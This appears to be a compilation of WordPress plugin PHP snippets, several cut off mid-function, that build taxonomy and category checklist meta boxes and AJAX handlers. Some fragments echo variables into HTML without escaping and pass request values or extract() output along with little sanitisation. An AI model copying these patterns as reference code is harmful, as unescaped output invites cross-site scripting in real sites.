echo get_terms_to_edit($post->ID, $taxonomy); // textarea_escaped by esc_attr() ?> </textarea> </div> <?php if (current_user_can($tax->cap->assign_terms)) { ?> <div class="ajaxtag hide-if-no-js"> <label class="screen-reader-text" for="new-tag-<?php echo $taxonomy; ?> "><?php echo $metabox['title']; ?> </label> <div class="taghint"><?php _e($tax->labels->add_new_item, CPT_ONOMIES_TEXTDOMAIN); ?> </div> <p> <input type="text" id="new-tag-<?php echo $taxonomy; ?> " name="cpt_onomies_new_tag[<?php echo $taxonomy; ?> ]" class="cpt_onomies_new_tag form-input-tip" size="16" autocomplete="off" value="" /> <input type="button" class="button cpt_onomies_tag_add" value="<?php esc_attr_e('Add', CPT_ONOMIES_TEXTDOMAIN); ?> " tabindex="3" /> </p> </div> <?php } ?> </div> <div class="cpt_onomies_tag_checklist<?php if (!current_user_can($tax->cap->assign_terms)) { echo ' alone'; } ?> "></div> </div> <?php if (current_user_can($tax->cap->assign_terms)) { ?> <p class="hide-if-no-js"><a href="#titlediv" class="cpt_onomies_tag_cloud" id="link-<?php echo $taxonomy; ?> "><?php _e($tax->labels->choose_from_most_used, CPT_ONOMIES_TEXTDOMAIN); ?> </a></p> <?php } break; case 'dropdown': // get ALL info and then extract IDs because of ID conflict with regular taxonomies $selected_terms = wp_get_object_terms($post->ID, $taxonomy); // we only need the first term for a dropdown $selected_term = $selected_terms ? array_shift($selected_terms)->term_id : 0; // because the dropdown function only has 'exclude', if 'include' is set, // we have to get all of the terms and exclude everything but what's in 'include' $dropdown_exclude_term_ids = array(); if ($include_term_ids) { // get all terms for this taxonomy that are not in 'include' foreach (get_terms($taxonomy, array('hide_empty' => false, 'fields' => 'ids')) as $term_id) { if (!in_array($term_id, $include_term_ids)) { $dropdown_exclude_term_ids[] = $term_id; } } } // make sure 'exclude' term ids are included if ($exclude_term_ids) { $dropdown_exclude_term_ids = array_unique(array_merge($dropdown_exclude_term_ids, $exclude_term_ids)); } $dropdown = wp_dropdown_categories(array('show_option_none' => 'No ' . $tax->labels->all_items . ' are selected', 'orderby' => 'name', 'order' => 'ASC', 'show_count' => false, 'hide_empty' => false, 'exclude' => $dropdown_exclude_term_ids, 'echo' => false, 'selected' => $selected_term, 'hierarchical' => is_post_type_hierarchical($taxonomy), 'name' => CPT_ONOMIES_POSTMETA_KEY . '[' . $taxonomy . '][]', 'id' => 'taxonomy-' . $taxonomy, 'class' => 'category cpt_onomies', 'taxonomy' => $taxonomy, 'hide_if_empty' => false)); // need to add disabled to select element // as a backup, this attribute is also checked in admin-post.js if ($disabled) { $dropdown = preg_replace('/^\\<select/', '<select' . $disabled, $dropdown); } // print dropdown echo $dropdown; break; case 'checklist': default: ?> <div id="taxonomy-<?php echo $taxonomy; ?> " class="categorydiv cpt_onomies"> <ul id="<?php echo $taxonomy; ?> -tabs" class="category-tabs"> <li class="tabs"><a href="#<?php echo $taxonomy; ?> -all" tabindex="3"><?php _e($tax->labels->all_items, CPT_ONOMIES_TEXTDOMAIN); ?> </a></li> <li class="hide-if-no-js"><a href="#<?php echo $taxonomy; ?> -pop" tabindex="3"><?php _e('Most Used', CPT_ONOMIES_TEXTDOMAIN); ?> </a></li> </ul> <div id="<?php echo $taxonomy; ?> -pop" class="tabs-panel" style="display:none;"> <ul id="<?php echo $taxonomy; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div> <div id="<?php echo $taxonomy; ?> -all" class="tabs-panel"> <ul id="<?php echo $taxonomy; ?> checklist" class="list:<?php echo $taxonomy; ?> categorychecklist form-no-clear"> <?php wp_terms_checklist($post->ID, array('taxonomy' => $taxonomy, 'popular_cats' => $popular_ids, 'walker' => new CPTonomy_Walker_Terms_Checklist())); ?> </ul> </div> </div><?php break; } } }
function slidedeck2_post_categories_meta_box($post, $box) { $defaults = array('taxonomy' => 'category'); if (!isset($box['args']) || !is_array($box['args'])) { $args = array(); } else { $args = $box['args']; } extract(wp_parse_args($args, $defaults), EXTR_SKIP); $tax = get_taxonomy($taxonomy); ?> <div id="taxonomy-<?php echo $taxonomy; ?> " class="categorydiv"> <ul id="<?php echo $taxonomy; ?> -tabs" class="category-tabs"> <li class="tabs"><a href="#<?php echo $taxonomy; ?> -all" tabindex="3"><?php echo $tax->labels->all_items; ?> </a></li> <li class="hide-if-no-js"><a href="#<?php echo $taxonomy; ?> -pop" tabindex="3"><?php _e('Most Used'); ?> </a></li> </ul> <div id="<?php echo $taxonomy; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $taxonomy; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div> <div id="<?php echo $taxonomy; ?> -all" class="tabs-panel"> <?php $name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $taxonomy . ']'; echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?> <ul id="<?php echo $taxonomy; ?> checklist" class="list:<?php echo $taxonomy; ?> categorychecklist form-no-clear"> <?php wp_terms_checklist(0, array('taxonomy' => $taxonomy, 'selected_cats' => $args['selected_cats'], 'popular_cats' => $popular_ids)); ?> </ul> </div> </div> <?php }
<ul id="category-tabs" class="category-tabs"> <li class="tabs"><a href="#category-all"><?php echo $tax->labels->all_items; ?> </a></li> <li class="hide-if-no-js"><a href="#category-pop"><?php _e('Most Used'); ?> </a></li> </ul> <div id="category-pop" class="tabs-panel" style="display: none;"> <ul id="categorychecklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist('category'); ?> </ul> </div> <div id="category-all" class="tabs-panel"> <ul id="categorychecklist" class="list:category categorychecklist form-no-clear"> <?php wp_terms_checklist($post_ID, array('taxonomy' => 'category', 'popular_cats' => $popular_ids)); ?> </ul> </div> <?php if (!current_user_can($tax->cap->assign_terms)) { ?>
/** * Creates the Postbox for category selection * @param $selected_cats * @param $view * @return unknown_type */ function postBoxCategories($selected_cats, $view = false) { if ($view == false) { $defaults = array('taxonomy' => 'category'); $args = array(); /*if ( !isset($box['args']) || !is_array($box['args']) ) $args = array(); else $args = $box['args'];*/ extract(wp_parse_args($args, $defaults), EXTR_SKIP); $tax = get_taxonomy($taxonomy); ?> <div id="taxonomy-<?php echo $taxonomy; ?> " class="categorydiv"> <ul id="<?php echo $taxonomy; ?> -tabs" class="category-tabs"> <li class="tabs"><a href="#<?php echo $taxonomy; ?> -all" tabindex="3"><?php echo $tax->labels->all_items; ?> </a></li> <li class="hide-if-no-js"><a href="#<?php echo $taxonomy; ?> -pop" tabindex="3"><?php _e('Most Used'); ?> </a></li> </ul> <div id="<?php echo $taxonomy; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $taxonomy; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div> <div id="<?php echo $taxonomy; ?> -all" class="tabs-panel"> <?php $name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $taxonomy . ']'; echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?> <ul id="<?php echo $taxonomy; ?> checklist" class="list:<?php echo $taxonomy; ?> categorychecklist form-no-clear"> <?php wp_terms_checklist(0, array('taxonomy' => $taxonomy, 'popular_cats' => $popular_ids, 'selected_cats' => $selected_cats)); ?> </ul> </div> <?php if (!current_user_can($tax->cap->assign_terms)) { ?> <p><em><?php _e('You cannot modify this taxonomy.'); ?> </em></p> <?php } ?> <?php if (current_user_can($tax->cap->edit_terms)) { ?> <div id="<?php echo $taxonomy; ?> -adder" class="wp-hidden-children"> <h4> <a id="<?php echo $taxonomy; ?> -add-toggle" href="#<?php echo $taxonomy; ?> -add" class="hide-if-no-js" tabindex="3"> <?php /* translators: %s: add new taxonomy label */ printf(__('+ %s'), $tax->labels->add_new_item); ?> </a> </h4> <p id="<?php echo $taxonomy; ?> -add" class="category-add wp-hidden-child"> <label class="screen-reader-text" for="new<?php echo $taxonomy; ?> "><?php echo $tax->labels->add_new_item; ?> </label> <input type="text" name="new<?php echo $taxonomy; ?> " id="new<?php echo $taxonomy; ?> " class="form-required form-input-tip" value="<?php echo esc_attr($tax->labels->new_item_name); ?> " tabindex="3" aria-required="true"/> <label class="screen-reader-text" for="new<?php echo $taxonomy; ?> _parent"> <?php echo $tax->labels->parent_item_colon; ?> </label> <?php wp_dropdown_categories(array('taxonomy' => $taxonomy, 'hide_empty' => 0, 'name' => 'new' . $taxonomy . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $tax->labels->parent_item . ' —', 'tab_index' => 3)); ?> <input type="button" id="<?php echo $taxonomy; ?> -add-submit" class="add:<?php echo $taxonomy; ?> checklist:<?php echo $taxonomy; ?> -add button category-add-sumbit" value="<?php echo esc_attr($tax->labels->add_new_item); ?> " tabindex="3" /> <?php wp_nonce_field('add-' . $taxonomy, '_ajax_nonce-add-' . $taxonomy, false); ?> <span id="<?php echo $taxonomy; ?> -ajax-response"></span> </p> </div> <?php } ?> </div> <?php } else { $cats = get_categories(array('hide_empty' => false)); foreach ($cats as $c) { $ca[$c->cat_ID] = $c->name; } $first = true; echo '<ul>'; foreach ($selected_cats as $c) { echo '<li>' . $ca[$c] . '<input type="hidden" name="post_category[]" value="' . $c . '" /></li>'; } echo '</ul>'; } }
_wp_ajax_delete_comment_response($comment->comment_ID); die('0'); break; case 'add-category': // On the Fly check_ajax_referer($action); if (!current_user_can('manage_categories')) { die('-1'); } $names = explode(',', $_POST['newcat']); if (0 > ($parent = (int) $_POST['newcat_parent'])) { $parent = 0; } $post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array(); $checked_categories = array_map('absint', (array) $post_category); $popular_ids = wp_popular_terms_checklist('category', 0, 10, false); foreach ($names as $cat_name) { $cat_name = trim($cat_name); $category_nicename = sanitize_title($cat_name); if ('' === $category_nicename) { continue; } $cat_id = wp_create_category($cat_name, $parent); $checked_categories[] = $cat_id; if ($parent) { // Do these all at once in a second continue; } $category = get_category($cat_id); ob_start(); wp_category_checklist(0, $cat_id, $checked_categories, $popular_ids);
/** * @param $taxonomy * @param $args * Retrieves an array of taxonomy terms, filtered by various parameters. * @return array|WP_Error */ public static function get_taxonomy_terms_by($taxonomy, $args) { global $wpdb; wp_cache_flush(); $lang = false; $post_id = false; $check_popular = false; extract($args, EXTR_OVERWRITE); $pop_items = false; $element_type = 'tax_' . $taxonomy; if ($check_popular) { $pop_items = wp_popular_terms_checklist($taxonomy, $default = 0, $number = 10, $echo = false); } $query = $wpdb->prepare("\tSELECT wptt.term_id\n\t\t\t\t\t\t\t\t\tFROM {$wpdb->prefix}icl_translations AS iclt\n\t\t\t\t\t\t\t\t\tJOIN {$wpdb->prefix}term_taxonomy AS wptt\n\t\t\t\t\t\t\t\t\t\tON iclt.element_id = wptt.term_taxonomy_id\n\t\t\t\t\t\t\t\t\tWHERE language_code=%s AND element_type = '{$element_type}'", $lang); $element_ids = $wpdb->get_results($query); $element_ids_array = array(); foreach ($element_ids as $element) { $element_ids_array[] = (int) $element->term_id; } $all_elements_in_lang = array(); if (!empty($element_ids_array)) { $all_elements_in_lang = get_terms(array($taxonomy), array('include' => $element_ids_array, 'hide_empty' => false)); } $post_terms = array(); if ($post_id) { $post_terms = wp_get_post_terms($post_id, $taxonomy, array("fields" => "ids")); } foreach ($all_elements_in_lang as &$term) { if ($post_terms) { $term_key = array_search($term->term_id, $post_terms); if ($term_key !== false) { $term->selected = true; //remove this value from the $post_terms since we already accounted for it completely unset($post_terms[$term_key]); } else { $term->selected = false; } } if ($pop_items) { if (in_array($term->term_id, $pop_items)) { $term->popular = true; } else { $term->popular = false; } } } /* Now the situation could arise in which we still have terms on the post that are not in the proper language * This is dealt with by synchronizing the posts terms language. If a term has a translatation it will be * appended to the post instead of the original. If it does not have a translation, it will be removed * from the post. */ if (count($post_terms) > 0) { self::sync_post_and_taxonomy_terms_language($post_id, $taxonomy); //after having done so we get all terms on the post again $remaining_untranslated_terms_on_post = (array) wp_get_post_terms($post_id, $taxonomy); //these terms are all selected foreach ($remaining_untranslated_terms_on_post as $key => &$term) { if (in_array($term->term_id, $element_ids_array)) { //if we already have that element added, we do not need to add it again $term->selected = true; } else { wp_remove_object_terms($post_id, $term->term_id, $taxonomy); } } } $result = false; if (is_array($all_elements_in_lang)) { $result = $all_elements_in_lang; } return $result; }
</div> <ul id="category-tabs"> <li class="ui-tabs-selected"><a href="#categories-all" tabindex="3"><?php _e( 'All Categories' ); ?></a></li> <li class="wp-no-js-hidden"><a href="#categories-pop" tabindex="3"><?php _e( 'Most Used' ); ?></a></li> </ul> <div id="categories-all" class="ui-tabs-panel"> <ul id="categorychecklist" class="list:category categorychecklist form-no-clear"> <?php dropdown_categories(); ?> </ul> </div> <div id="categories-pop" class="ui-tabs-panel" style="display: none;"> <ul id="categorychecklist-pop" class="categorychecklist form-no-clear" > <?php wp_popular_terms_checklist('category'); ?> </ul> </div> </div> </div> <?php do_meta_boxes('post', 'normal', $post); ?> <?php do_action('edit_form_advanced'); ?> <h2><?php _e('Advanced Options'); ?></h2> <div id="postexcerpt" class="postbox <?php echo postbox_classes('postexcerpt', 'post'); ?>"> <h3><?php _e('Excerpt') ?></h3> <div class="inside"><textarea rows="1" cols="40" name="excerpt" tabindex="6" id="excerpt"><?php echo $post->post_excerpt ?></textarea>
/** * Ajax response for changing the language in the post metabox * * @since 0.2 */ public function post_lang_choice() { check_ajax_referer('pll_language', '_pll_nonce'); global $post_ID; // Obliged to use the global variable for wp_popular_terms_checklist $post_id = $post_ID = (int) $_POST['post_id']; $lang = $this->model->get_language($_POST['lang']); $post_type = $_POST['post_type']; $post_type_object = get_post_type_object($post_type); if (!current_user_can($post_type_object->cap->edit_post, $post_ID)) { wp_die(-1); } $this->model->post->set_language($post_ID, $lang); // Save language, useful to set the language when uploading media from post ob_start(); if ($lang) { include PLL_ADMIN_INC . '/view-translations-' . ('attachment' == $post_type ? 'media' : 'post') . '.php'; } $x = new WP_Ajax_Response(array('what' => 'translations', 'data' => ob_get_contents())); ob_end_clean(); // Categories if (isset($_POST['taxonomies'])) { // Not set for pages foreach ($_POST['taxonomies'] as $taxname) { $taxonomy = get_taxonomy($taxname); ob_start(); $popular_ids = wp_popular_terms_checklist($taxonomy->name); $supplemental['populars'] = ob_get_contents(); ob_end_clean(); ob_start(); // Use $post_ID to remember ckecked terms in case we come back to the original language wp_terms_checklist($post_ID, array('taxonomy' => $taxonomy->name, 'popular_cats' => $popular_ids)); $supplemental['all'] = ob_get_contents(); ob_end_clean(); $supplemental['dropdown'] = wp_dropdown_categories(array('taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new' . $taxonomy->name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —', 'echo' => 0)); $x->Add(array('what' => 'taxonomy', 'data' => $taxonomy->name, 'supplemental' => $supplemental)); } } // Parent dropdown list ( only for hierarchical post types ) if (in_array($post_type, get_post_types(array('hierarchical' => true)))) { $post = get_post($post_ID); // Args and filter from 'page_attributes_meta_box' in wp-admin/includes/meta-boxes.php of WP 4.2.1 $dropdown_args = array('post_type' => $post->post_type, 'exclude_tree' => $post->ID, 'selected' => $post->post_parent, 'name' => 'parent_id', 'show_option_none' => __('(no parent)'), 'sort_column' => 'menu_order, post_title', 'echo' => 0); /** This filter is documented in wp-admin/includes/meta-boxes.php */ $dropdown_args = apply_filters('page_attributes_dropdown_pages_args', $dropdown_args, $post); // Since WP 3.3 $x->Add(array('what' => 'pages', 'data' => wp_dropdown_pages($dropdown_args))); } // Flag $x->Add(array('what' => 'flag', 'data' => empty($lang->flag) ? esc_html($lang->slug) : $lang->flag)); // Sample permalink $x->Add(array('what' => 'permalink', 'data' => get_sample_permalink_html($post_ID))); $x->send(); }
-pop"><?php _e('Most Used', 'wpcf'); ?> </a></li> </ul> <div id="<?php echo $taxonomy; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $taxonomy; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div>--> <div id="<?php echo $html_id; ?> -all" class="tabs-panel"> <?php // $name = ( $taxonomy == 'category' ) ? 'post_category' : 'tax_input[' . $taxonomy . ']'; echo "<input type='hidden' name='{$_wpcf_name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?>
function custom_post_categories_meta_box($post, $box) { $defaults = array('taxonomy' => 'category'); if (!isset($box['args']) || !is_array($box['args'])) { $args = array(); } else { $args = $box['args']; } $r = wp_parse_args($args, $defaults); $tax_name = esc_attr($r['taxonomy']); $taxonomy = get_taxonomy($r['taxonomy']); ?> <div id="taxonomy-<?php echo $tax_name; ?> " class="categorydiv"> <ul id="<?php echo $tax_name; ?> -tabs" class="category-tabs"> <li class="tabs"><a href="#<?php echo $tax_name; ?> -all"><?php echo $taxonomy->labels->all_items; ?> </a></li> <li class="hide-if-no-js"><a href="#<?php echo $tax_name; ?> -pop"><?php _e('Most Used'); ?> </a></li> </ul> <div id="<?php echo $tax_name; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $tax_name; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($tax_name); ?> </ul> </div> <div id="<?php echo $tax_name; ?> -all" class="tabs-panel"> <?php $name = $tax_name == 'category' ? 'post_category' : 'tax_input[' . $tax_name . ']'; echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?> <ul id="<?php echo $tax_name; ?> checklist" data-wp-lists="list:<?php echo $tax_name; ?> " class="categorychecklist form-no-clear"> <?php /*************************************************** Where the magic happens ****************************************************/ $current_user = wp_get_current_user(); $user_id = $current_user->ID; if (current_user_can('manage_options')) { $privs = array(''); } else { $privs = get_user_meta($user_id, 'user_privelages', true); } foreach ($privs as $priv) { $args = array('descendants_and_self' => $priv, 'taxonomy' => 'pages', 'checked_ontop' => false); wp_terms_checklist($post->ID, $args); } /*************************************************** Where the magic ends ****************************************************/ ?> </ul> </div> <?php if (current_user_can($taxonomy->cap->edit_terms)) { ?> <div id="<?php echo $tax_name; ?> -adder" class="wp-hidden-children"> <h4> <a id="<?php echo $tax_name; ?> -add-toggle" href="#<?php echo $tax_name; ?> -add" class="hide-if-no-js"> <?php /* translators: %s: add new taxonomy label */ printf(__('+ %s'), $taxonomy->labels->add_new_item); ?> </a> </h4> <p id="<?php echo $tax_name; ?> -add" class="category-add wp-hidden-child"> <label class="screen-reader-text" for="new<?php echo $tax_name; ?> "><?php echo $taxonomy->labels->add_new_item; ?> </label> <input type="text" name="new<?php echo $tax_name; ?> " id="new<?php echo $tax_name; ?> " class="form-required form-input-tip" value="<?php echo esc_attr($taxonomy->labels->new_item_name); ?> " aria-required="true"/> <label class="screen-reader-text" for="new<?php echo $tax_name; ?> _parent"> <?php echo $taxonomy->labels->parent_item_colon; ?> </label> <?php wp_dropdown_categories(array('taxonomy' => $tax_name, 'hide_empty' => 0, 'name' => 'new' . $tax_name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —')); ?> <input type="button" id="<?php echo $tax_name; ?> -add-submit" data-wp-lists="add:<?php echo $tax_name; ?> checklist:<?php echo $tax_name; ?> -add" class="button category-add-submit" value="<?php echo esc_attr($taxonomy->labels->add_new_item); ?> " /> <?php wp_nonce_field('add-' . $tax_name, '_ajax_nonce-add-' . $tax_name, false); ?> <span id="<?php echo $tax_name; ?> -ajax-response"></span> </p> </div> <?php } ?> </div> <?php }
public function vtmin_post_category_meta_box($post, $box) { $defaults = array('taxonomy' => 'category'); if (!isset($box['args']) || !is_array($box['args'])) { $args = array(); } else { $args = $box['args']; } extract(wp_parse_args($args, $defaults), EXTR_SKIP); $tax = get_taxonomy($taxonomy); //vark => removed the divs with the tabs for 'all' and 'most popular' ?> <div id="taxonomy-<?php echo $taxonomy; ?> " class="categorydiv"> <div id="<?php echo $taxonomy; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $taxonomy; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div> <div id="<?php echo $taxonomy; ?> -all" class="tabs-panel"> <?php $name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $tax_class . ']'; //vark replaced $taxonomy with $tax_class echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?> <ul id="<?php echo $taxonomy; ?> checklist" class="list:<?php echo $taxonomy; ?> categorychecklist form-no-clear"> <?php switch ($taxonomy) { case 'roles': $vtmin_checkbox_classes = new VTMIN_Checkbox_classes(); $vtmin_checkbox_classes->vtmin_fill_roles_checklist($tax_class, $checked_list); break; case 'variations': vtmin_fill_variations_checklist($tax_class, $checked_list, $product_ID, $product_variation_IDs); break; default: //product category or vtmin category... $this->vtmin_build_checkbox_contents($taxonomy, $tax_class, $checked_list); break; } ?> </ul> </div> <?php //wp-hidden-children div removed, no longer functions as/of WP3.5 ?> </div> <?php }
function post_lang_choice() { global $post_ID; // obliged to use the global variable for wp_popular_terms_checklist $post_ID = $_POST['post_id']; $post_type = get_post_type($post_ID); $lang = $this->get_language($_POST['lang']); $this->set_post_language($post_ID, $lang); // save language, useful to set the language when uploading media from post ob_start(); if ($lang) { include PLL_INC . '/post-translations.php'; } $x = new WP_Ajax_Response(array('what' => 'translations', 'data' => ob_get_contents())); ob_end_clean(); // categories if (isset($_POST['taxonomies'])) { // not set for pages foreach ($_POST['taxonomies'] as $taxname) { $taxonomy = get_taxonomy($taxname); ob_start(); $popular_ids = wp_popular_terms_checklist($taxonomy->name); $supplemental['populars'] = ob_get_contents(); ob_end_clean(); ob_start(); // use $post_ID to remember ckecked terms in case we come back to the original language wp_terms_checklist($post_ID, array('taxonomy' => $taxonomy->name, 'popular_cats' => $popular_ids)); $supplemental['all'] = ob_get_contents(); ob_end_clean(); $supplemental['dropdown'] = wp_dropdown_categories(array('taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new' . $taxonomy->name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —', 'echo' => 0)); $x->Add(array('what' => 'taxonomy', 'data' => $taxonomy->name, 'supplemental' => $supplemental)); } } // parent dropdown list (only for hierarchical post types) // $dropdown_args copied from page_attributes_meta_box if (in_array($post_type, get_post_types(array('hierarchical' => true)))) { $post = get_post($post_ID); $dropdown_args = array('post_type' => $post->post_type, 'exclude_tree' => $post->ID, 'selected' => $post->post_parent, 'name' => 'parent_id', 'show_option_none' => __('(no parent)'), 'sort_column' => 'menu_order, post_title', 'echo' => 0); $dropdown_args = apply_filters('page_attributes_dropdown_pages_args', $dropdown_args, $post); $x->Add(array('what' => 'pages', 'data' => wp_dropdown_pages($dropdown_args))); } $x->send(); }
public function vtwpr_post_category_meta_box($post, $box) { $defaults = array('taxonomy' => 'category'); if (!isset($box['args']) || !is_array($box['args'])) { $args = array(); } else { $args = $box['args']; } extract(wp_parse_args($args, $defaults), EXTR_SKIP); $tax = get_taxonomy($taxonomy); ?> <div id="taxonomy-<?php echo $taxonomy; ?> " class="categorydiv"> <div id="<?php echo $taxonomy; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $taxonomy; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div> <div id="<?php echo $taxonomy; ?> -all" class="tabs-panel"> <?php $name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $tax_class . ']'; //vark replaced $taxonomy with $tax_class echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?> <ul id="<?php echo $taxonomy; ?> checklist" class="list:<?php echo $taxonomy; ?> categorychecklist form-no-clear"> <?php switch ($taxonomy) { case 'roles': $vtwpr_checkbox_classes = new VTWPR_Checkbox_classes(); $vtwpr_checkbox_classes->vtwpr_fill_roles_checklist($tax_class, $checked_list); break; case 'variations': vtwpr_fill_variations_checklist($tax_class, $checked_list, $pop_in_out_sw, $product_ID, $product_variation_IDs); break; default: //product category or vtwpr category... $this->vtwpr_build_checkbox_contents($taxonomy, $tax_class, $checked_list, $pop_in_out_sw); break; } ?> </ul> </div> <?php if (current_user_can($tax->cap->edit_terms) && !($taxonomy == 'roles') && !($taxonomy == 'variations')) { ?> <div id="<?php echo $taxonomy; ?> -adder" class="wp-hidden-children"> <h4> <a id="<?php echo $taxonomy; ?> -add-toggle" href="#<?php echo $taxonomy; ?> -add" class="hide-if-no-js" tabindex="3"> <?php /* translators: %s: add new taxonomy label */ printf(__('+ %s'), $tax->labels->add_new_item); ?> </a> </h4> <p id="<?php echo $taxonomy; ?> -add" class="category-add wp-hidden-child"> <label class="screen-reader-text" for="new<?php echo $taxonomy; ?> "><?php echo $tax->labels->add_new_item; ?> </label> <input type="text" name="new<?php echo $taxonomy; ?> " id="new<?php echo $taxonomy; ?> " class="form-required form-input-tip" value="<?php echo esc_attr($tax->labels->new_item_name); ?> " tabindex="3" aria-required="true"/> <label class="screen-reader-text" for="new<?php echo $taxonomy; ?> _parent"> <?php echo $tax->labels->parent_item_colon; ?> </label> <?php wp_dropdown_categories(array('taxonomy' => $taxonomy, 'hide_empty' => 0, 'name' => 'new' . $taxonomy . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $tax->labels->parent_item . ' —', 'tab_index' => 3)); ?> <input type="button" id="<?php echo $taxonomy; ?> -add-submit" class="add:<?php echo $taxonomy; ?> checklist:<?php echo $taxonomy; ?> -add button category-add-sumbit" value="<?php echo esc_attr($tax->labels->add_new_item); ?> " tabindex="3" /> <?php wp_nonce_field('add-' . $taxonomy, '_ajax_nonce-add-' . $taxonomy, false); ?> <span id="<?php echo $taxonomy; ?> -ajax-response"></span> </p> </div> <?php } ?> </div> <?php }
/** * Display post categories form fields. Borrowed from WP. Not currently used. * * @since 1.0-beta * * @param object $post */ function bp_docs_post_categories_meta_box($post) { global $bp; require_once ABSPATH . '/wp-admin/includes/template.php'; $defaults = array('taxonomy' => 'category'); if (!isset($box['args']) || !is_array($box['args'])) { $args = array(); } else { $args = $box['args']; } extract(wp_parse_args($args, $defaults), EXTR_SKIP); $tax = get_taxonomy($taxonomy); ?> <div id="taxonomy-<?php echo $taxonomy; ?> " class="categorydiv"> <ul id="<?php echo $taxonomy; ?> -tabs" class="category-tabs"> <li class="tabs"><a href="#<?php echo $taxonomy; ?> -all" tabindex="3"><?php echo $tax->labels->all_items; ?> </a></li> <li class="hide-if-no-js"><a href="#<?php echo $taxonomy; ?> -pop" tabindex="3"><?php _e('Most Used', 'bp-docs'); ?> </a></li> </ul> <div id="<?php echo $taxonomy; ?> -pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $taxonomy; ?> checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div> <div id="<?php echo $taxonomy; ?> -all" class="tabs-panel"> <?php $name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $taxonomy . ']'; echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?> <ul id="<?php echo $taxonomy; ?> checklist" class="list:<?php echo $taxonomy; ?> categorychecklist form-no-clear"> <?php wp_terms_checklist($bp->bp_docs->current_post->ID, array('taxonomy' => $taxonomy, 'popular_cats' => $popular_ids)); ?> </ul> </div> <?php if (current_user_can($tax->cap->edit_terms)) { ?> <div id="<?php echo $taxonomy; ?> -adder" class="wp-hidden-children"> <h4> <a id="<?php echo $taxonomy; ?> -add-toggle" href="#<?php echo $taxonomy; ?> -add" class="hide-if-no-js" tabindex="3"> <?php /* translators: %s: add new taxonomy label */ printf(__('+ %s'), $tax->labels->add_new_item); ?> </a> </h4> <p id="<?php echo $taxonomy; ?> -add" class="category-add wp-hidden-child"> <label class="screen-reader-text" for="new<?php echo $taxonomy; ?> "><?php echo $tax->labels->add_new_item; ?> </label> <input type="text" name="new<?php echo $taxonomy; ?> " id="new<?php echo $taxonomy; ?> " class="form-required form-input-tip" value="<?php echo esc_attr($tax->labels->new_item_name); ?> " tabindex="3" aria-required="true"/> <label class="screen-reader-text" for="new<?php echo $taxonomy; ?> _parent"> <?php echo $tax->labels->parent_item_colon; ?> </label> <?php wp_dropdown_categories(array('taxonomy' => $taxonomy, 'hide_empty' => 0, 'name' => 'new' . $taxonomy . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $tax->labels->parent_item . ' —', 'tab_index' => 3)); ?> <input type="button" id="<?php echo $taxonomy; ?> -add-submit" class="add:<?php echo $taxonomy; ?> checklist:<?php echo $taxonomy; ?> -add button category-add-sumbit" value="<?php echo esc_attr($tax->labels->add_new_item); ?> " tabindex="3" /> <?php wp_nonce_field('add-' . $taxonomy, '_ajax_nonce-add-' . $taxonomy, false); ?> <span id="<?php echo $taxonomy; ?> -ajax-response"></span> </p> </div> <?php } ?> </div> <?php }
